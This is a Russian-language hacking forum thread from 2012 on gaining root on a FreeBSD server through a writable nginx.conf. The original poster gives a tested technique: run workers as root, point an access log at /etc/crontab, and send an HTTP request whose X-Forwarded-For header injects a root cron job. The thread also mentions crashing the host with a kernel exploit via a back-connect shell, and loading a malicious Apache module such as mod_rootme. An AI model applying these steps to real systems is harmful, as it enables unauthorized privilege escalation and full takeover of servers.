Старый 20.11.2012, 19:24   #1
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию nginx.conf доступен для записи

Есть FreeBSD-хост, на котором используется nginx-1.0.15 c дефолтными плагинами, скрипты выполняются через php-fpm от юзера nobody. Как повысить свои привилегии в системе используя только возможность записи в nginx.conf?

P.S. Я свое решение решил выложить позже, так как мне это показалось интересной задачей
nickcerdito вне форума   Ответить с цитированием
Старый 20.11.2012, 20:05   #2
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Первая мысль:
Код:
user root wheel;
worker_proccess 1;
//... pid, etc
http {
  log_format main      '$http_referer'
}
server {
  listen 1337;
  access_log /etc/master.passwd main;
  /* etc */
}
по аналогии можно сделать root /etc и читать master.passwd из веба, главное через user сделать воркеров рутами.

На практике я не проверял, просто идея. Но у меня вопрос, как ты не имея рута заставил nginx перечитать конфиг?
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 20.11.2012, 20:25   #3
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Да, идея верная.

Я сделал похоже:

Код:
user root wheel
...
...
log_format tmplog '$http_x_forwarded_for';
location /rob0ts.txt { 
   access_log /etc/crontab tmplog;
}
т.е. я добавил специальный location (чтобы кто-нибудь другой не "нагадил" в лог) и определил свой формат логов(log_format, кстати, можно использовать даже внутри location, хоть в документации написано только про контекст http), которые вывел в /etc/crontab. Дождался перезагрузки сервера и потом отправил запрос
Код:
GET /rob0ts.txt HTTP/1.1
X-Forwarded-For: */10 * * * * root /tmp/test.sh
Host: myhost.ru
Connection: close
Через 10 минут /tmp/test.sh выполнился из-под рута.

Последний раз редактировалось nickcerdito; 20.11.2012 в 20:39..
nickcerdito вне форума   Ответить с цитированием
Старый 20.11.2012, 20:29   #4
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Цитата:
Сообщение от nobody Посмотреть сообщение
Но у меня вопрос, как ты не имея рута заставил nginx перечитать конфиг?
В моем случае это был сервер с FreeBSD 8.2, который я подвесил используя UIPC-эксплоит, а потом просто дождался перезагрузки.
nickcerdito вне форума   Ответить с цитированием
Старый 30.11.2012, 11:40   #5
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

nickcerdito, ты, должно быть, запустил сплойт из веба?
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 30.11.2012, 13:06   #6
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Цитата:
Сообщение от overxor Посмотреть сообщение
nickcerdito, ты, должно быть, запустил сплойт из веба?
Использовал один из бекконект шеллов, но в рамках обсуждаемой темы это разве имеет значение?
nickcerdito вне форума   Ответить с цитированием
Старый 30.11.2012, 13:22   #7
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

нет, чисто для себя интересно.
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 09.12.2012, 23:39   #8
Arkan0id
 
Регистрация: 13.12.2010
Сообщений: 7
Репутация: 0
По умолчанию

Прошу прощения если не в тему, но ситуация схожая - есть возможность записи в конфиг apache, что можно придумать?
Arkan0id вне форума   Ответить с цитированием
Старый 09.12.2012, 23:48   #9
nickcerdito
 
Аватар для nickcerdito
 
Регистрация: 11.07.2012
Сообщений: 16
Репутация: 7
По умолчанию

Цитата:
Сообщение от Arkan0id Посмотреть сообщение
Прошу прощения если не в тему, но ситуация схожая - есть возможность записи в конфиг apache, что можно придумать?
Загрузить свой модуль, например.
nickcerdito вне форума   Ответить с цитированием
Старый 09.12.2012, 23:57   #10
Arkan0id
 
Регистрация: 13.12.2010
Сообщений: 7
Репутация: 0
По умолчанию

Цитата:
Сообщение от nickcerdito Посмотреть сообщение
Загрузить свой модуль, например.
Спасибо! Погуглил, наткнулся на mod_rootme, а что-нибудь проверенное и посвежее есть? (Apache/2.2.17 (FreeBSD))
Arkan0id вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot